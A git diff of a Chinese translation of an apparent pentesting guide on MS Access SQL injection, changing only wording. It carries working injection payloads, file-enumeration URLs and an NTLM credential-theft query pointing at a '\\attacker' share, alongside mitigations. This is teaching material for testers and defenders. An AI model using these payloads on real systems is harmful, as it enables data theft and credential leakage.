* 通过身份验证和网络分段保护管理端点。
|
||||
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [CVE-2025-27636 – 通过头部大小写绕过在 Apache Camel 中的 RCE (OffSec 博客)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
@ -40,7 +40,7 @@
|
||||
## UNION 查询/子查询
|
||||
|
||||
在 SQLi 中,你通常会想以某种方式执行一个新查询,以从其他表中提取信息。MS Access 总是要求在 **子查询或额外查询中指明 `FROM`**。\
|
||||
因此,如果你想执行 `UNION SELECT` 或 `UNION ALL SELECT` 或在条件中使用括号的 `SELECT`,你总是 **需要指明一个有效的表名的 `FROM`**。\
|
||||
因此,如果你想执行 `UNION SELECT` 或 `UNION ALL SELECT` 或在条件中使用括号中的 `SELECT`,你总是 **需要指明一个有效的表名的 `FROM`**。\
|
||||
因此,你需要知道一个 **有效的表名**。
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
**MS Access** 允许 **奇怪的语法**,例如 **`'1'=2='3'='asd'=false`**。通常,SQL 注入将位于 **`WHERE`** 子句中,我们可以利用这一点。
|
||||
|
||||
想象一下,您在 MS Access 数据库中有一个 SQLi,并且您知道(或猜测)某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链式等号技术时,Web 应用程序的不同响应,并可能使用 **`Mid`** 函数进行布尔注入以获取子字符串。
|
||||
想象一下,您在 MS Access 数据库中有一个 SQLi,并且您知道(或猜测)某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链式等号技术时,Web 应用程序的不同响应,并可能使用 **`Mid`** 函数通过 **布尔注入** 提取内容。
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
@ -72,14 +72,14 @@ _Feel free to check this in the online playground._
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_Feel free to check this in the online playground._
|
||||
_随时可以在在线游乐场中检查此内容。_
|
||||
|
||||
- Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### 强行破解列名
|
||||
|
||||
您可以使用链式等号技巧**强行破解当前列名**:
|
||||
您可以使用链式等号技巧**强行破解当前列名**:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -87,7 +87,7 @@ _Feel free to check this in the online playground._
|
||||
```sql
|
||||
-1' GROUP BY column_name%00
|
||||
```
|
||||
您也可以使用以下方法对**不同表**的列名进行暴力破解:
|
||||
您可以使用以下方法对**不同表**的列名进行暴力破解:
|
||||
```sql
|
||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||
|
||||
@ -136,7 +136,7 @@ and MSysObjects.name not like '~*'
|
||||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
然而,请注意,**在没有访问权限读取表 `MSysObjects` 的情况下,发现 SQL 注入是非常典型的**。
|
||||
然而,请注意,在**没有权限读取表 `MSysObjects`** 的情况下,发现 SQL 注入是非常典型的。
|
||||
|
||||
## 文件系统访问
|
||||
|
||||
@ -146,15 +146,15 @@ order by MSysObjects.name
|
||||
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
MS Access 会返回一个 **包含 Web 目录完整路径名的错误消息**。
|
||||
MS Access 会返回一个**包含 Web 目录完整路径名的错误消息**。
|
||||
|
||||
### 文件枚举
|
||||
|
||||
以下攻击向量可用于 **推断远程文件系统上文件的存在**。如果指定的文件存在,MS Access 会触发一个错误消息,告知数据库格式无效:
|
||||
以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在,MS Access 会触发一条错误消息,告知数据库格式无效:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
另一种枚举文件的方法是 **指定一个 database.table 项目**。**如果**指定的 **文件存在**,MS Access 会显示一个 **数据库格式错误消息**。
|
||||
另一种枚举文件的方法是**指定一个 database.table 项**。**如果**指定的**文件存在**,MS Access 会显示一条**数据库格式错误消息**。
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
@ -164,19 +164,19 @@ MS Access 会返回一个 **包含 Web 目录完整路径名的错误消息**。
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
其中 **name[i] 是一个 .mdb 文件名**,**realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一个错误消息,但可以区分无效文件名和有效的 .mdb 文件名。
|
||||
其中**name[i] 是一个 .mdb 文件名**,**realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。
|
||||
|
||||
### 远程数据库访问与 NTLM 凭证盗窃 (2023)
|
||||
|
||||
自 Jet 4.0 起,每个查询都可以通过 `IN '<path>'` 子句引用位于 *不同* `.mdb/.accdb` 文件中的表:
|
||||
自 Jet 4.0 起,每个查询都可以通过 `IN '<path>'` 子句引用位于*不同* `.mdb/.accdb` 文件中的表:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
如果用户输入被连接到 **IN** 之后的部分(或连接到 `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` 调用中),攻击者可以指定一个指向他们控制的主机的 **UNC 路径**。引擎将会:
|
||||
如果用户输入被连接到 **IN** 之后的部分(或连接到 `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` 调用),攻击者可以指定一个指向他们控制的主机的 **UNC 路径**。引擎将会:
|
||||
|
||||
1. 尝试通过 SMB / HTTP 进行身份验证以打开远程数据库;
|
||||
2. 泄露 web 服务器的 **NTLM 凭据**(强制身份验证);
|
||||
3. 解析远程文件 – 一个格式错误或恶意的数据库可以触发 Jet/ACE 内存损坏漏洞,这些漏洞已经被多次修补(例如 CVE-2021-28455)。
|
||||
3. 解析远程文件 - 一个格式错误或恶意的数据库可以触发 Jet/ACE 内存损坏漏洞,这些漏洞已经被多次修补(例如 CVE-2021-28455)。
|
||||
|
||||
实际注入示例:
|
||||
```sql
|
||||
@ -191,9 +191,9 @@ IN '\\attacker\share\poc.mdb'-- -
|
||||
|
||||
缓解措施(即使对于遗留的 Classic ASP 应用程序也推荐):
|
||||
|
||||
* 在 `HKLM\Software\Microsoft\Jet\4.0\Engines` 下添加注册表值 `AllowQueryRemoteTables = 0`(以及在相应的 ACE 路径下)。这会强制 Jet/ACE 拒绝以 `\\` 开头的远程路径。
|
||||
* 在 `HKLM\Software\Microsoft\Jet\4.0\Engines` 下添加注册表值 `AllowQueryRemoteTables = 0`(以及在相应的 ACE 路径下)。这强制 Jet/ACE 拒绝以 `\\` 开头的远程路径。
|
||||
* 在网络边界阻止出站 SMB/WebDAV。
|
||||
* 清理/参数化可能最终出现在 `IN` 子句中的查询的任何部分。
|
||||
* 清理/参数化可能出现在 `IN` 子句中的查询的任何部分。
|
||||
|
||||
Check Point Research 在 2023 年重新审视了强制身份验证向量,证明在缺少注册表键的情况下,它仍然可以在完全修补的 Windows Server 上被利用。 citeturn0search0
|
||||
|
||||
@ -205,6 +205,6 @@ Check Point Research 在 2023 年重新审视了强制身份验证向量,证
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – 配置 Jet/ACE 以阻止远程表](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – 利用 Microsoft Access 连接表进行 NTLM 强制身份验证(2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
- [Check Point Research – 滥用 Microsoft Access 连接表进行 NTLM 强制身份验证(2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user